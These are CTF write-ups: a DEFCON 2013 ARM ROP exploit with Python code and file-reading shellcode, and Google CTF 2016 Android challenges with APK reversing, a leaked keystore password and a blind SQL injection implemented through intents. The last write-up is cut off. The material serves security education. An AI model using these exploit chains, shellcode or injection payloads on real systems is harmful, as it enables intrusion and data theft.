• # DEFCON 2013 Quals: BittersWallow - Exploitation (0x41414141) 1

Written by Bruno Pujos and Franck Michea
2013-06-21 22:00:00

 1 2 Score 1 Link http://assets-2013.legitbs.net/liabilities/bs 

This binary was compiled for the ARM architecture, and our goal was to exploit it to get the "key" file on the remote server. The first part of the binary does the setup of all the common things found in pwnables, including:

• opening a socket
• identifying itself as a pre-define user (bitterswallow)
• dropping privileges

The interesting part comes after, in a function called ff. The first thing it does is send some text:

 1 2 Welcome to the sums. Are you ready? (y/n): 

And wait for an answer. It then compares it to 'y' or 'Y'. If the answer is different it simply closes the connection. Once this is done we enter a loop where two functions are called.

The first one waits for an input of one byte and then goes into a big switch according to this byte. All the cases but one come back to the same point (0xa114) where it waits for another user input which is the length of a future message. The length sent can't be over 0x400. The particular case, triggered with value 0x1a, doesn't check this and doesn't even ask for any length.

The pseudo C code for this function is :

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int get_meta(int fd, int *input, int *value_get) { int choice; int value; long long int size; if (!input || !value_get || !recvdata(fd, &choice, 1)) return 0; *input = choice; switch (choice & 0x3f) { case 0: value = 0x32444d; // Some value? break; // ... case 0x1a: goto last; // ... default: break; } if (!recvdata(fd, &size, 2)) return 0; if (size > 0x400) size = 0x400; last: size = (size << 16) >> 16; *value_get = value; return size; } 

Then a second function is called. It receives data of the size returned by the first one in a buffer of 0x400, and then computes a hash (depending on the values chosen in the first function), except for the case 0x1a which doesn't compute the hash. It then sends this hash and asks if we want do all the loop again.

Here is the pseudo C code for this function :

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int compute(int fd, int size, int input, int value_get) { int res_recv; char buf[0x400]; char buf_hash[0x40]; memset(buf, 0, 0x400); memset(buf_hash, 0, 0x40); printf("%x %x %x\n", size, input, value_get); recvdata(fd, buf, size); switch (input & 0x3f) { case 0 : res_recv = ... hash(buf, size, buf_hash); break; ... case 0x1a : res_recv = 0; break; ... default: break; } send_data(fd, buf_hash, res_recv); send_string(fd, "Would you like to sum another? (y/n): "); recvdata(fd, &res_recv, 1); if (res_recv == 'y' || res_recv == 'Y') return 1; else return 0; } 

In the caller of this function the loop will continue or it will stop. To exploit this function the goal is to change the size that returns the first function being used with the second one. Since the case 0x1a doesn't do any check, we will use it to return the false size and then rewrite our stack to use Return-Oriented-Programming.

To rewrite the size we can use the second function that writes on the same part of the stack, the content of size is in the same place than the end of the hash buffer.

So we need to: - do a normal computation that rewrites something at the place of size - do another iteration with the choice 0x1a and rewrite all our stack.

One of the problems that we need to take care of is not to have a value which is too big because we risk to rewrite all of our stack which can make our exploit fail.

  1 2 3 4 5 6 7 8 9 10 11 _recv("Welcome to the sums.\n") _recv("Are you ready? (y/n): ") _send("y") _send(b"\x32") # case 50 : sha512 _send(b"\x00\x03") # send a size _send("x" * 0x300) # send a value, with this we have a size of 0x7b3 while len(_recv(1024)) == 1024: # pass all the writing pass _send("y") # say yes to do an other one _send(b"\x1a") # case 0x1a : doesn't check the size # Here we can send the data for rewritting our stack 

At this point we can rewrite our stack but we don't have any address from the libc so we can't do a lot of things. There is no syscall in the binary so we can't do anything with full ROP yet.

The first thing to do is to leak some information on the libc, like an address from the GOT which gives us the information on where libc is mapped. We chose to leak the address of getpwnam (but any other function could work).

To leak the address of getpwnam we needed to call the send_data function (0x1d9fc) on the position of the entry for getpwnam in the GOT. The first arguments of a function in ARM are given through the registers r0, r1, r2 and R3, so we needed some gadget that takes values from the stack and puts them in the registers that we need. The gadget we used to do this is in __libc_csu_init:

  1 2 3 4 5 6 7 8 9 10 11 12 loc_1E3C4 LDR R3, [R5], #4 MOV R0, R6 ; loc_1E3C8 MOV R1, R7 MOV R2, R8 ADD R4, R4, #1 BLX R3 CMP R4, R10 BNE loc_1E3C4 loc_1E3E4: LDMFD SP!, {R3-R8, R10, PC} 

If we go to 0x1e3e4 we can put values in registers from r3 to r8, r10 and chose the position of return from our stack. In 0x1e3c8 we can copy the values from r6 to r8 in r0 to r2 (our first arguments) and then call the function stored in r3 and if we put the good value in r4 and r10 we will have our first gadget again. Note that if we need to make a call with some values in registers like r3 (something other than the function address), we can call our first gadget and have these values in the stack too (useful to call mmap).

So we now have everything we need to leak the address from the libc. Here is the code we used to do so:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import struct import socket import sys HOST = 'bitterswallow.shallweplayaga.me' PORT = 6492 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) def _send(st, end=b''): if isinstance(st, str): st = bytes(st, 'utf-8') st += end print('Send:', repr(st)) return s.send(st) def _recv(l): if isinstance(l, str): l = len(l) r = s.recv(l) if r: print('Recv:', repr(r)) return r def _pack(i): return struct.pack('

Now that we have the address of getpwnam, we can leak information from the libc.

At this point you have two possibilities: you can leak all the libc, compute the offset of a function compared to the address of getpwnam and call it (ret2libc). The other possibility is to leak part of the libc and find some gadgets in there to finish the exploitation with full ROP. We chose to try and search syscalls in the libc, so the second option.

When leaking the instructions from the libc we look for one particular instruction : a syscall (svc 0, opcode 0x000000ef)

We find this instruction in getpwnam implementation: the syscall was at the offset 428. (This offset changes depending on your libc so you should recompute them if you are not using the exact same libc). The gadget for the syscall is:

 1 2 3 4 5 6 SVC 0 B loc_AAA loc_AAA: LDR R0, [SP, 0x14] ADD SP, SP, 0x18 LDMFD SP!, {R4-R10, PC} 

The gadget for the pop is : :::nasm LDMFD SP!, {R4-R10, PC}

In order to leak the offset we use the following code :

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 pass_menu() print("Addr: ", addrs) payload = _call_func(SENDDATA_ADDR, SOCKET_FD, _unpack(addrs[:4]), 4096) payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS) _send_bof(payload) _send("y") while len(_recv(1024)) == 1024: pass while len(_recv(1024)) == 1024: pass CHUNK = 1024 r = _recv(CHUNK) res = r while len(r) == CHUNK: r = _recv(CHUNK) res += r _send('y') while len(r) == CHUNK: r = _recv(CHUNK) res += r _send('y') while len(r) == CHUNK: r = _recv(CHUNK) res += r print(' RES:', res[:12]) for i in range(len(res) // 4): opcode = _unpack(res[i * 4:(i + 1) * 4]) if opcode == 0xef000000: # looking for the syscall print('Found syscall opcode at offset:', i * 4) print('Buff:', res[i * 4:(i + 5) * 4]) _send("y") while len(_recv(1024)) == 1024: pass _send("y") while len(_recv(1024)) == 1024: pass 

Now that we have the offset of our gadget we can ROP. Our goal is to call mmap and then to read from our input into the allocated page and finally to execute it.

The following code will do that :

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 MMAP_BUF_ADDR = 0x13371000 MMAP_SYSCALL = 192 READ_SYSCALL = 3 OFFSET = 428 GETPWNAM_ADDR = _unpack(addrs[:4]) print('getpwnam addr:', hex(GETPWNAM_ADDR)) pass_menu() # jump to pivot addr and put some stuf in the register for the syscall payload = _call_func(PIVOT_ADDR, MMAP_BUF_ADDR, 4096, 7) payload += _pack(0x32) # some flag payload += _pack(0x41424344) * 3 # padding payload += _pack(MMAP_SYSCALL) # the number of the syscall is in r7 payload += _pack(0x41424344) * 2 #padding payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall payload += _pack(0xffffffff) # padding payload += _pack(0) * 12 # padding payload += _pack(PIVOT_ADDR) # return addr # pushing again for an other syscall payload += _call_func(PIVOT_ADDR, SOCKET_FD, MMAP_BUF_ADDR, 4096) payload += _pack(0x41424344) * 4 # padding payload += _pack(READ_SYSCALL) # the number of the syscall payload += _pack(0x41424344) * 2 # padding payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall gadget payload += _pack(0) * 13 # padding payload += _pack(MMAP_BUF_ADDR) # the last return to our shellcode _send_bof(payload) _recv(1024) _send('y') _recv(1024) 

At this point we only needed to send it the shellcode. We wrote one that was pretty simple :

• open the file "key".
• write the buffer read on the socket.

Here is the final code for sending the shellcode and recv the result :

 1 2 3 4 5 6 7 8 9 # sending shellcode. # fd = open("key"); read(fd, addr_in_stack, 255); write(socket_fd, addr_in_stack, 255); shellcode = '0f00a0e1400080e20010a0e30570a0e3000000ef01dc4de201dc4de20d10a' shellcode += '0e1ff20a0e30370a0e3000000ef0400a0e30d10a0e1ff20a0e30470a0e30' shellcode += '00000ef01dc8de201dc8de26b65790000000000' _send(bytes.fromhex(shellcode)) while _recv(1024): pass 

You can find the complete exploit here.

• # Google Capture The Flag 2016: Mobile category

2016-05-02 19:34:55

There was 3 challenges in the mobile category. Let's see how we solved them.

## Ill Intentions

Ill Intentions

150 points

Do you have have ill intentions?

file: illintentions.apk

For this first one, we have an apk and some allusions to the intent system used on android. Let's start by testing it a little in an emulator!

  1 2 3 4 5 6 7 8 9 10 $/opt/android-sdk/tools/emulator -avd Nexus_5X_API_23 &$ adb devices List of devices attached * daemon not running. starting it now on port 5037 * * daemon started successfully * emulator-5554 device $adb install illintentions.apk 3576 KB/s (51856 bytes in 0.014s) pkg: /data/local/tmp/illintentions.apk Success  Let's extract the apk and decompile it in order to see what is inside. For this, I like to use 2 different tools, as they are not giving us the same output (and I am lazy, and don't know how to do it with only one tool). First, dex2jar takes an apk, and turns it to a jar. We can then read the code with jd-gui.  1 2 $ dex2jar illintentions.apk $jd-gui illintentions.apk  The other tool is apktool that gives us all the manifests and metadata correctly reversed and lisible.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 $ apktool -d illintentions.apk $find illintentions illintentions illintentions/AndroidManifest.xml illintentions/lib illintentions/lib/x86_64 illintentions/lib/x86_64/libhello-jni.so illintentions/lib/armeabi illintentions/lib/armeabi/libhello-jni.so illintentions/lib/mips64 illintentions/lib/mips64/libhello-jni.so illintentions/lib/armeabi-v7a illintentions/lib/armeabi-v7a/libhello-jni.so illintentions/lib/x86 illintentions/lib/x86/libhello-jni.so illintentions/lib/arm64-v8a illintentions/lib/arm64-v8a/libhello-jni.so illintentions/lib/mips illintentions/lib/mips/libhello-jni.so illintentions/apktool.yml illintentions/original illintentions/original/AndroidManifest.xml illintentions/original/META-INF illintentions/original/META-INF/CERT.RSA illintentions/original/META-INF/MANIFEST.MF illintentions/original/META-INF/CERT.SF illintentions/smali illintentions/smali/com illintentions/smali/com/example illintentions/smali/com/example/application illintentions/smali/com/example/application/DefinitelyNotThisOne$1.smali illintentions/smali/com/example/application/MainActivity.smali illintentions/smali/com/example/application/Send_to_Activity.smali illintentions/smali/com/example/application/IsThisTheRealOne.smali illintentions/smali/com/example/application/DefinitelyNotThisOne.smali illintentions/smali/com/example/application/ThisIsTheRealOne.smali illintentions/smali/com/example/application/Utilities.smali illintentions/smali/com/example/application/IsThisTheRealOne$1.smali illintentions/smali/com/example/application/ThisIsTheRealOne$1.smali illintentions/smali/com/example/hellojni illintentions/smali/com/example/hellojni/Manifest.smali illintentions/smali/com/example/hellojni/R$attr.smali illintentions/smali/com/example/hellojni/R$string.smali illintentions/smali/com/example/hellojni/Manifest$permission.smali illintentions/smali/com/example/hellojni/R.smali illintentions/smali/com/example/hellojni/BuildConfig.smali illintentions/smali/com/example/hellojni/R$mipmap.smali illintentions/res illintentions/res/values illintentions/res/values/strings.xml illintentions/res/values/public.xml illintentions/res/mipmap-hdpi-v4 illintentions/res/mipmap-hdpi-v4/ic_launcher.png illintentions/res/mipmap-mdpi-v4 illintentions/res/mipmap-mdpi-v4/ic_launcher.png illintentions/res/mipmap-xhdpi-v4 illintentions/res/mipmap-xhdpi-v4/ic_launcher.png illintentions/res/mipmap-xxhdpi-v4 illintentions/res/mipmap-xxhdpi-v4/ic_launcher.png 

What can we see here? There is some native libraries for multiple architecture, some resources, and the code for a simple application.

Let's try to see what we can find in the java code:

We have 6 classes in this apk:

• MainActivity: probably the entry point
• Send_to_Activity
• IsThisTheRealOne
• DefinitelyNotThisOne
• ThisIsTheRealOne
• Utilities

Here is the main activity:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.example.application; import android.app.Activity; import android.content.IntentFilter; import android.os.Bundle; import android.widget.TextView; public class MainActivity extends Activity { public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); paramBundle = new TextView(getApplicationContext()); paramBundle.setText("Select the activity you wish to interact with.To-Do: Add buttons to select activity, for now use Send_to_Activity"); setContentView(paramBundle); paramBundle = new IntentFilter(); paramBundle.addAction("com.ctf.INCOMING_INTENT"); registerReceiver(new Send_to_Activity(), paramBundle, "ctf.permission._MSG", null); } } 

The application registers a handler to a broadcast intent named "com.ctf.INCOMING_INTENT" and uses Send_To_Activity as a BroadcastReceiver.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public void onReceive(Context paramContext, Intent paramIntent) { paramIntent = paramIntent.getStringExtra("msg"); if (paramIntent.equalsIgnoreCase("ThisIsTheRealOne")) { paramContext.startActivity(new Intent(paramContext, ThisIsTheRealOne.class)); return; } if (paramIntent.equalsIgnoreCase("IsThisTheRealOne")) { paramContext.startActivity(new Intent(paramContext, IsThisTheRealOne.class)); return; } if (paramIntent.equalsIgnoreCase("DefinitelyNotThisOne")) { paramContext.startActivity(new Intent(paramContext, DefinitelyNotThisOne.class)); return; } Toast.makeText(paramContext, "Which Activity do you wish to interact with?", 1).show(); } 

What we can see in it is that it takes a string parameter "msg" that is calling one of the activies in the apk, depending on this value. Let's try to trigger one of them, and look at what it does.

We have 3 choices:

• ThisIsTheRealOne
• IsThisTheRealOne
• DefinitelyNotThisOne

let's assume we can ignore DefinitelyNotThisOne and try ThisIsTheRealOne.

 1 2 3 $adb shell am broadcast -a com.ctf.INCOMING_INTENT --es msg ThisIsTheRealOne Broadcasting: Intent { act=com.ctf.INCOMING_INTENT (has extras) } Broadcast completed: result=0  The code handling that is the following:   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public class ThisIsTheRealOne extends Activity { static { System.loadLibrary("hello-jni"); } public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); new TextView(this).setText("Activity - This Is The Real One"); paramBundle = new Button(this); paramBundle.setText("Broadcast Intent"); setContentView(paramBundle); paramBundle.setOnClickListener(new View.OnClickListener() { public void onClick(View paramAnonymousView) { paramAnonymousView = new Intent(); paramAnonymousView.setAction("com.ctf.OUTGOING_INTENT"); String str1 = ThisIsTheRealOne.this.getResources().getString(0x7f030006) + "YSmks"; String str2 = Utilities.doBoth(ThisIsTheRealOne.this.getResources().getString(0x7f030002)); String str3 = Utilities.doBoth(getClass().getName()); paramAnonymousView.putExtra("msg", ThisIsTheRealOne.this.orThat(str1, str2, str3)); ThisIsTheRealOne.this.sendBroadcast(paramAnonymousView, "ctf.permission._MSG"); } }); } } public class IsThisTheRealOne extends Activity { static { System.loadLibrary("hello-jni"); } public void onCreate(Bundle paramBundle) { getApplicationContext(); super.onCreate(paramBundle); new TextView(this).setText("Activity - Is_this_the_real_one"); paramBundle = new Button(this); paramBundle.setText("Broadcast Intent"); setContentView(paramBundle); paramBundle.setOnClickListener(new View.OnClickListener() { public void onClick(View paramAnonymousView) { paramAnonymousView = new Intent(); paramAnonymousView.setAction("com.ctf.OUTGOING_INTENT"); String str1 = IsThisTheRealOne.this.getResources().getString(0x7f030007) + "\\VlphgQbwvj~HuDgaeTzuSt.@Lex^~"; String str2 = Utilities.doBoth(IsThisTheRealOne.this.getResources().getString(0x7f030001)); String str3 = getClass().getName(); str3 = Utilities.doBoth(str3.substring(0, str3.length() - 2)); paramAnonymousView.putExtra("msg", IsThisTheRealOne.this.perhapsThis(str1, str2, str3)); IsThisTheRealOne.this.sendBroadcast(paramAnonymousView, "ctf.permission._MSG"); } }); } }  Ok, so we have a button that sends an intent with 3 parameters when clicked. Some of the parameters comes from the resources stored in the apk, for that, we have 2 xml files from the apktool extraction:   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 $ cat illintentions/res/values/public.xml $cat illintentions/res/values/strings.xml Msg permission for this app SendAnIntentApplication Leetdev Qvq lbh guvax vg jbhyq or gung rnfl? l33tdev42 wTtqnVfxfLtxKB}YWFqqnXaOIck IIjsWa}iy TRytfrgooq|F{i-JovFBungFk H0l3kwjo1|+kdl^polr Test String for debugging guinness:intents$ 

## Interlude: Can you repo it?

Can you repo it?

5 points

Do you think the developer of Ill Intentions knows how to set up public repositories?

Really nothing much to say here, we grabbed the git username of the developper of Ill Intentions in res/values/strings.xml, "l33tdev42", looked him up on github, cloned the only repository available, and took a look at the git history, and the last commit is this one:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 From 5b315cbbfaa2da9502ffae73f283d36d89f92194 Mon Sep 17 00:00:00 2001 From: Niru Ragupathy Date: Thu, 28 Apr 2016 13:48:07 -0700 Subject: [PATCH] Oops. removing the passcodes --- app/build.gradle | 35 ----------------------------------- 1 file changed, 35 deletions(-) delete mode 100644 app/build.gradle diff --git a/app/build.gradle b/app/build.gradle deleted file mode 100644 index a531d73..0000000 --- a/app/build.gradle +++ /dev/null @@ -1,35 +0,0 @@ -apply plugin: 'com.android.application' - -android { - compileSdkVersion 23 - buildToolsVersion "23.0.2" - - defaultConfig { - applicationId "test.leetdev.helloworld" - minSdkVersion 15 - targetSdkVersion 23 - versionCode 1 - versionName "1.0" - } - buildTypes { - release { - minifyEnabled false - proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' - } - } - signingConfigs { - create("release") { - storeFile = file("leetdev_android.keystore") - storePassword = "!lPpR4UC6JYaUj" - keyAlias = "appsKeys" - keyPassword = "ctf{TheHairCutTookALoadOffMyMind}" - } - } -} - -dependencies { - compile fileTree(dir: 'libs', include: ['*.jar']) - testCompile 'junit:junit:4.12' - compile 'com.android.support:appcompat-v7:23.2.0' - compile 'com.android.support:design:23.2.0' -} 

Do we really need to say more? That was fun, and this is something I really liked in all this ctf, most of (if not all) the challenges was nearly real case scenarios! This is really interesting to have something like that in a ctf, congrats google!

## Back to the challenge

Back to our intents! orThat() is a native method contained inside the library hello-jni.so. Let's take a look at it.

Here is the pseudo code for the x86_64 version:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int Java_com_example_application_ThisIsTheRealOne_orThat(void *javavm, void *pstr1, void *pstr2, void *pstr3) { str1 = (*(int (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)javavm + 1352LL))(javavm, pstr1, 0LL); str2 = (*(int (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)javavm + 1352LL))(javavm, pstr2, 0LL); str3 = (*(int (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)javavm + 1352LL))(javavm, pstr3, 0LL); v48 = &str1[strlen(str1)]; *(_QWORD *)v48 = 6593072240547940682LL; *(_QWORD *)(v48 + 8) = 7953489387895941752LL; *(_QWORD *)(v48 + 16) = 4706092811935960959LL; *(_QWORD *)(v48 + 24) = 7092423305623858002LL; *(_QWORD *)(v48 + 32) = 7382373343648048710LL; *(_QWORD *)(v48 + 40) = 8315423270923304302LL; *(_QWORD *)(v48 + 48) = 6008194790891616369LL; *(_DWORD *)(v48 + 56) = 1684893287; *(_WORD *)(v48 + 60) = 8547; *(_BYTE *)(v48 + 62) = 0; strncpy(str1_1, str1, 76); strncpy(str2_1, str2, 76); strncpy(str3_1, str3, 76); idx = 0; do { flag[idx++] = str1_1[idx] ^ str2_1[idx] ^ str3_1[idx]; } while ( idx != 76 ); printf("Here is your Reply: %s", &flag); return (*(int (__fastcall **)(__int64, int *))(*(_QWORD *)javavm + 1336LL))(javavm, &flag); } 

The other one (IsThisTheRealOne) is more or less the same thing. As this can't work on the real device (v48 is writing outside the allocated memory) Let's write the code for that:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import binascii import base64 import hashlib def doBoth(input): customEncodeValue = hashlib.sha224(input).hexdigest().encode('ascii') return base64.encodebytes(customEncodeValue)[:-1] def translate(input): tbl = { b'=': b'?', b'1': b'W', b'2': b'h', b'3': b'a', b'4': b't', b'5': b'i', b'6': b's', b'7': b'd', b'8': b'o', b'9': b'n', b'0': b'e' } for k,v in tbl.items(): input = input.replace(k, v) return input def xor3(str1, str2, str3): return ''.join([ chr(str1[x] ^ str2[x] ^ str3[x]) for x in range(len(str1)) ]) def chunks(l, n): n = max(1, n) return [l[i:i + n] for i in range(0, len(l), n)] def native_array_translation(input): return binascii.unhexlify(''.join([ ''.join(chunks(s, 2)[::-1]) for s in input])) def tryThisIsTheRealOne(): str1 = b"IIjsWa}iyYSmks" str2 = translate(doBoth(b"Leetdev")) str3 = translate(doBoth(b"com.example.application.ThisIsTheRealOne$1")) array_in_native_code = [ "5B7F4C456C59494A", "6E6078757A606A78", "414F667A7F764F7F", "626D596B50696B52", "667375714B746646", "736651686C667D6E", "536165545C727871", "646D6E67", "2163" ] str1 = str1 + native_array_translation(array_in_native_code) return xor3(str1, str2, str3) def tryIsThisTheRealOne(): str1 = b"TRytfrgooq|F{i-JovFBungFk" + b"\\VlphgQbwvj~HuDgaeTzuSt.@Lex^~" str2 = translate(doBoth(b"SendAnIntentApplication")) str3 = translate(doBoth(b"com.example.application.IsThisTheRealOne$1"[:-2])) array_in_native_code = [ "7B62617247776E77", "43727F686274754F", "6D716674", "7D" ] str1 = str1 + native_array_translation(array_in_native_code) return xor3(str1, str2, str3) print(tryThisIsTheRealOne()) print(tryIsThisTheRealOne()) 

The first one was a joke, thanks guys, and the last one was the real flag.

Note for later: getClass().getName() returns the full name of the class, with the package name, and if it is a nested class, you will have some kind of "$N" after. ## The Little Bobby Little Bobby Application 250 points Find the vulnerability, develop an exploit, and when you're ready, submit your APK to https://bottle-brush-tree.ctfcompetition.com. Can take up to 15 minutes to return the result. file: BobbyApplication_CTF.apk We have to build an apk that will be sent to a server, launched inside an android vm and we get logcat output as a result. This is a simple application with an Intent login service.   1 2 3 4 5 6 7 8 9 10 11 protected void onCreate(Bundle paramBundle) { Log.d("Startup", "Bobby's Application is now running"); super.onCreate(paramBundle); paramBundle = new IntentFilter(); new LocalDatabaseHelper(getApplicationContext()); paramBundle.addAction("com.bobbytables.ctf.myapplication_INTENT"); registerReceiver(new LoginReceiver(), paramBundle); /* ... */ }  Here is the LoginReceiver class:   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public class LoginReceiver extends BroadcastReceiver { public void onReceive(Context paramContext, Intent paramIntent) { Object localObject = paramIntent.getStringExtra("username"); paramIntent = paramIntent.getStringExtra("password"); Log.d("Received", (String)localObject + ":" + paramIntent); paramIntent = new LocalDatabaseHelper(paramContext).checkLogin((String)localObject, paramIntent); localObject = new Intent(); ((Intent)localObject).setAction("com.bobbytables.ctf.myapplication_OUTPUTINTENT"); ((Intent)localObject).putExtra("msg", paramIntent); paramContext.sendBroadcast((Intent)localObject); } } public String checkLogin(String paramString1, String paramString2) { SQLiteDatabase localSQLiteDatabase = getReadableDatabase(); Cursor localCursor = localSQLiteDatabase.rawQuery("select password,salt from users where username = \"" + paramString1 + "\"", null); Log.d("Username", paramString1); if ((localCursor != null) && (localCursor.getCount() > 0)) { localCursor.moveToFirst(); paramString1 = localCursor.getString(0); String str = localCursor.getString(1); localCursor.close(); localSQLiteDatabase.close(); if (Utils.calcHash(paramString2 + str).equals(paramString1)) { Log.d("Result", "Logged in"); return "Logged in"; } Log.d("Result", "Incorrect password"); return "Incorrect password"; } if (localCursor != null) localCursor.close(); localSQLiteDatabase.close(); Log.d("Result", "User does not exist"); return "User does not exist"; } public void onCreate(SQLiteDatabase paramSQLiteDatabase) { paramSQLiteDatabase.execSQL("CREATE TABLE users (_id INTEGER PRIMARY KEY,username TEXT,password TEXT,flag TEXT,salt TEXT)"); } public long insert(String paramString1, String paramString2) { int i = new Random().nextInt(31337); paramString2 = Utils.calcHash(paramString2 + new Integer(i).toString()); SQLiteDatabase localSQLiteDatabase = getWritableDatabase(); ContentValues localContentValues = new ContentValues(); localContentValues.put("username", paramString1); localContentValues.put("password", paramString2); localContentValues.put("flag", "ctf{An injection is all you need to get this flag - " + paramString2 + "}"); localContentValues.put("salt", new Integer(i).toString()); long l = localSQLiteDatabase.insert("users", null, localContentValues); localSQLiteDatabase.close(); return l; }  As we can see, there is a simple sql injection in the checkLogin method. In the code we can see that if the query is returning no result, we have "User does not exist" as a parameter in an intent "com.bobbytables.ctf.myapplication_OUTPUTINTENT", and "Incorrect password" if the query returns a result. Ok, so let's try to exploit this in blind! First we need to have a request that can return a result or not. As we can see, the salt will always be under 31337, we can use that to always have some kind of result. Let's inject as a username:  1 "\" or cast(salt as decimal) > 31337 or (" + expression + ") and \"1\"=\"1"  with that, we can put anything we want in expression (yeah, as I am reading it now, it is too complicated, we can do much simpler). Ok, so we first have to guess the size of the flag, and then find all the characters. Here is the java code that is doing that.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 public class LoginResult extends BroadcastReceiver { String EXPR_TRUE = "Incorrect password"; int state; // 0 -> startup, 1 -> guess length, 2 -> guess flag int max; int min; int pivot; int flag_length; int idx = 0; ArrayList flag; public LoginResult() { this.max = 1000; this.min = 0; this.state = 0; } static String getFlag(ArrayList l) { String res = ""; for (Integer i : l) { res += (char)(i.intValue() + 1); } return res; } @Override public void onReceive(Context context, Intent intent) { if (state == 0) { state = 1; pivot = min + (max - min) / 2; IntentHelper.tryLen(context, pivot); } else if (state == 1) { String msg = intent.getStringExtra("msg"); Log.e("gaby.sqli/LOG", String.format(Locale.getDefault(), "pivot: %d", pivot)); if (min == pivot || max == pivot) { flag_length = pivot; state = 2; IntentHelper.tryLen(context, flag_length); } else if (msg.equals(EXPR_TRUE)) { // length(flag) > pivot min = pivot; pivot = min + (max - min) / 2; IntentHelper.tryLen(context, pivot); } else { max = pivot; pivot = min + (max - min) / 2; IntentHelper.tryLen(context, pivot); } } else if (state == 2) { if (idx == 0) { // find the flag now! Log.d("gaby.sqli/FLAG_LENGTH", String.format("%d", flag_length)); idx = 1; // first step flag = new ArrayList(); min = 31; max = 127; pivot = min + (max - min) / 2; IntentHelper.tryChar(context, idx, pivot); } else { String msg = intent.getStringExtra("msg"); Log.e("gaby.sqli/LOG", String.format(Locale.getDefault(), "pivot: %d", pivot)); if (min == pivot || max == pivot) { // XXX if (idx > flag_length + 1) { // WIN! state = 3; Log.e("gaby.sql/FLAG", String.format("The flag is: %s", getFlag(flag))); DialogHelper.showMessage(context, "WIN", String.format("The flag is: %s", getFlag(flag))); } else { Log.e("gabv.sql/LOG", String.format(Locale.getDefault(), "flag[%d] = %d", idx, pivot)); flag.add(pivot); idx += 1; min = 31; max = 127; pivot = min + (max - min) / 2; } IntentHelper.tryChar(context, idx, pivot); } else if (msg.equals(EXPR_TRUE)) { // length(flag) > pivot min = pivot; pivot = min + (max - min) / 2; IntentHelper.tryChar(context, idx, pivot); } else { max = pivot; pivot = min + (max - min) / 2; IntentHelper.tryChar(context, idx, pivot); } } } } } public class IntentHelper { public static void tryLogin(Context context, String username, String password) { Intent intent = new Intent(); intent.setAction("com.bobbytables.ctf.myapplication_INTENT"); intent.putExtra("username", username); intent.putExtra("password", password); context.sendBroadcast(intent); } public static void tryInject(Context context, String expression) { tryLogin(context, "\" or cast(salt as decimal) > 31337 or (" + expression + ") and \"1\"=\"1", "password"); } public static void tryLen(Context context, int len) { tryInject(context, String.format(Locale.getDefault(), "length(flag) > %d", len)); } public static void tryChar(Context context, int index, int c) { tryInject(context, String.format(Locale.getDefault(), "substr(flag, %d, 1) > char(%d)", index, c)); } }  And with that, we can have the complete flag. Yeah, the code is ugly, it was a little difficult to have something clear in the intent callback. full code for this apk is available on our repositories. • # NDH2K13 misc400 writeup: OMG, electronics… Written by Ivan Delalande and Clement Rouault 2013-03-11 17:00:00  1 2 3 4 5 6 Found some information about what seems to be an OTP. And a webpage asking for a valid token. The design draft we retrieved looks terrible, they must have got it fixed, yet the algorithm should be similar. Score 400 Link http://z0b.nuitduhack.com:8001/  The goal of this exercise was to understand the 